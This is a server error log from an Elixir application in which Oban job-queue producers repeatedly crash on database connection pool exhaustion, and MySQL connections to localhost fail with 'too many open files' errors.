  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:37:22.239738Z], limit: 20, uuid: "51c06f1a-9507-483a-a3eb-3ef2c6c5807e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:22.239743Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230909>, refresh_timer: #Reference<0.2525715032.1068236804.230899>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:37:22.239717Z], limit: 5, uuid: "9f0b2f05-6976-4a12-a10f-319d069f40dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:22.239722Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.81697>, refresh_timer: #Reference<0.2525715032.1121189889.81688>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:37:22.239736Z], limit: 50, uuid: "3682328e-75ed-4f87-95ef-e3919b39aa85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:22.239742Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230912>, refresh_timer: #Reference<0.2525715032.1077411843.204078>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:34.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:39.316000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:44.766000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:45.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:37:34.240931Z], limit: 50, uuid: "30386e69-ffae-4a3d-b38d-92dc9b454ec6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:34.240936Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231299>, refresh_timer: #Reference<0.2525715032.1121189889.81853>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:37:34.239903Z], limit: 5, uuid: "9d36bd31-4da8-4b8e-8ad2-67811e5f3068", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:34.239908Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231298>, refresh_timer: #Reference<0.2525715032.1121189889.81841>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:37:34.239711Z], limit: 5, uuid: "34c99d53-237c-46e3-8c75-7bfdec4a2c40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:34.239716Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204144>, refresh_timer: #Reference<0.2525715032.1077411843.204142>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:37:34.239443Z], limit: 3, uuid: "c2e66c1c-8c0b-488a-bf2f-5e58e4182766", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:34.239448Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231297>, refresh_timer: #Reference<0.2525715032.1068236804.231260>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:37:34.239634Z], limit: 20, uuid: "9002629b-0f13-4fab-8e39-77a32dda5411", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:34.239639Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.204143>, refresh_timer: #Reference<0.2525715032.1077411843.204140>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:37:34.238412Z], limit: 10, uuid: "eba30108-3c36-4a74-a7bc-526511de590d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:34.238421Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231300>, refresh_timer: #Reference<0.2525715032.1099169794.236542>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:46.867000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
